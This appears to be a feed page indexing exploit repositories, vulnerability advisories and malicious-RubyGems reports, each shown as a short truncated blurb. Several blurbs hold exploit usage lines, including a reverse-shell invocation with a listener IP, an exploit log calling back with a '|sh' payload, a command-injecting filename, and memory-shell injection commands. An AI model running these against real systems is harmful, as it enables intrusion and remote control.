CVE-2022-22947-

CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL式インジェクションによるコマンド実行（CVE-2022-22947） Godzillaメモリシェルを注入 デフォルトキー pass base64 注：コードはルート部分をクリアしていないので、自分でクリアしてください。。 テスト環境：https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md メモリシェルclass...

CVE-2023-22527-Godzilla-MEMSHELL

CVE-2023-22527-Godzilla-MEMSHELL 使い方 ps: テストバージョンは 8.5.1 です。他のバージョンでも動作するはずですが、テストはしていません。 内容参考北辰师傅之前的工具 java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url 哥斯拉密码 哥斯拉密钥 example java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar http://xxxx/ pass key メモリシェルの注入に成功したが Godzilla...

CVE-2024-3400

CVE-2024-3400: OSコマンドインジェクションの脆弱性 説明: CVE-2024-3400は、ユーザー入力を受け付け、その入力に基づいて適切な検証なしにOSコマンドを実行するアプリケーションやサービスに影響を与えるセキュリティ脆弱性です。この脆弱性により、攻撃者は受け取った入力を介して悪意のある、または破壊的なOSコマンドを注入でき、システムの悪用、データの改ざん、さらには脆弱なシステムの完全な制御につながる可能性があります。 詳細と最新情報については、CVE-2024-3400を参照してください。 注意 応答結果が返ってくるまでお待ちください。応答にはかなり時間がかかります...

CVE-2025-6019-udisks-lpe-no-image

CVE-2025-6019-udisks-lpe-no-image 仅使用脚本的权限提升利用链，基于 CVE-2025-6019 与 UDisks2（不包含文件系统镜像）。 鸣谢、背景与利用链 本仓库并未引入新的漏洞。 此处实现的权限提升技术完全基于先前已发表的研究。 我未能找到一种无需在目标上创建镜像即可运行的现有脚本，这促使我编写了此自动化脚本。 原始研究与公告 根本原因分析、利用流程和缓解指导均由原始 CVE 作者研究并披露： 🔗 https://cdn2.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt...

TraditionalJay

TraditionalJay 意図的に脆弱性を含むクラシック/トラディショナル なショップです。セキュリティワークショップ向け — VM （EC2、Azure VM、GCP Compute Engine）上のJavaアプリケーションであり、コンテナではありません。 主要なストーリー: 重大なVM侵害 — SQLインジェクション → Log4Shell CVE-2021-44228 → 外部C2へのリバースシェル。 !CAUTION 本番アカウントにデプロイしないでください。 VMは一時的なものとし、ネットワークをラボ内に限定してください。 なぜこれが存在するのか Jay's Surf...

CLSA-2026-1791201398 TuxCare security update for shell-quote (2 CVEs)

TuxCare rebuilt shell-quote to address 2 CVEs. Fixed in 1.8.1-tuxcare.2...

CVE-2022-0847-DirtyPipe-Exploit

これは何ですか これはMax Kellermann氏によるDirty Pipeの概念実証ですが、ルートシェルを取得した後に/etc/passwd内のrootのパスワードフィールドを上書きし、復元するように修正されています。 補足: この脆弱性の発見や概念実証の作成について、私は一切の功績を主張しません。このエクスプロイトは、迅速かつ簡単に悪用できるようにKellermann氏の概念実証を少し修正したものに過ぎません。機会があれば、この非常に興味深い脆弱性に関する元の記事（https://dirtypipe.cm4all.com/）をぜひお読みください。理解する価値が十分にあります。 使用...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1 --listen-port...

Astra Linux – Vulnerability in curl

libcurl will reuse a previously established connection even when options related to TLS or SSH have been changed, which should prevent such reuses. libcurl stores previously used connections in a connection pool, allowing for reuse if one of them matches the current setup. However, several TLS an...

Astra Linux – Vulnerability in Ruby-Rack

A sequence injection vulnerability exists in Rack versions 2.0.9.1, 2.1.4.1, and 2.2.3.1. This vulnerability could allow for shell escapes in the Lint and CommonLogger components of Rack...

Astra Linux – Vulnerability in Erlang

Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server might allow an attacker to perform unauthenticated remote code execution RCE. By exploiting a flaw in the SSH protocol’s message handling, a malicious...

Astra Linux – Vulnerability in xorg-server

A vulnerability was discovered in X.Org. This security flaw arises because the handler for the ScreenSaverSetAttributes request may write to memory after it has been freed. This issue can lead to local privileges escalation on systems where the X server is running with privileged access, and may...

POC-CVE-2026-19681

CVE-2026-19681 —— 文件上传处理中的命令注入（需认证） 状态：已确认 ，基于 6.7.2-14.el9 实验室环境（2026-08-20）。通过 POST /rest/file/upload 暂存的文件名为 p;sleep$IFS20;-EvvfJk（context 前缀携带元字符），随后 POST /rest/auditFile（type=scapLinux、version=1.2）恰好停滞 20.1 秒并返回错误 106（"Error adding Tailoring file to SCAP zip file"）——这是注入后正常的错误路径。执行发生在 zip -9...

CVE-2026-4480

执行漏洞利用： python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh + Generated payload ...

RevShell

🔥 RevShell Project — Advanced Windows Reverse Shell ██▀███ ▓█████ ██▒ █▓ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓██ ▒ ██▒▓█ ▀ ▓██░ █▒ ▒██ ▒ ▓██░ ██▒ ▓█ ▀ ▓██▒ ▓██▒ ▓██ ░▄█ ▒▒███ ▓██ █▒░ ░ ▓██▄ ▒██▀▀██░ ▒███ ▒██░ ▒██░ ▒██▀▀█▄ ▒▓█ ▄ ▒██ █░░ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░██▓ ▒██▒░▒████▒ ▒▀█░ ▒██████▒▒░▓█▒░██▓...

Codiad-CVE-2018-14009

安装 codiad @ git clone https://github.com/Codiad/Codiad.git 复现步骤 1. 在 ubuntu 服务器上使用 Codiad 2.8.4（最新版本）搭建一个易受攻击的环境 @ chmod o+w config.php @ chmod o+w workspace @ chmod o+w plugins @ chmod o+w themes @ chmod o+w data 2. @ git clone https://github.com/hidog123/Codiad-CVE-2018-14009.gi 3...

bludit-CVE-2019-17240

bludit-CVE-2019-17240 绕过 bludit 登录缓解措施并上传恶意文件以调用反弹 shell...

Malicious code in bitcoij-ruby (RubyGems)

RubyGems runs this gem's native extension script ext/bitcoij-ruby/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minut...

MAL-2026-17585 Malicious code in bitcoij-ruby (RubyGems)

RubyGems runs this gem's native extension script ext/bitcoij-ruby/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minut...

MAL-2026-17581 Malicious code in bip39-wordlist-utils (RubyGems)

RubyGems runs this gem's native extension script ext/bip39-wordlist-utils/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over ...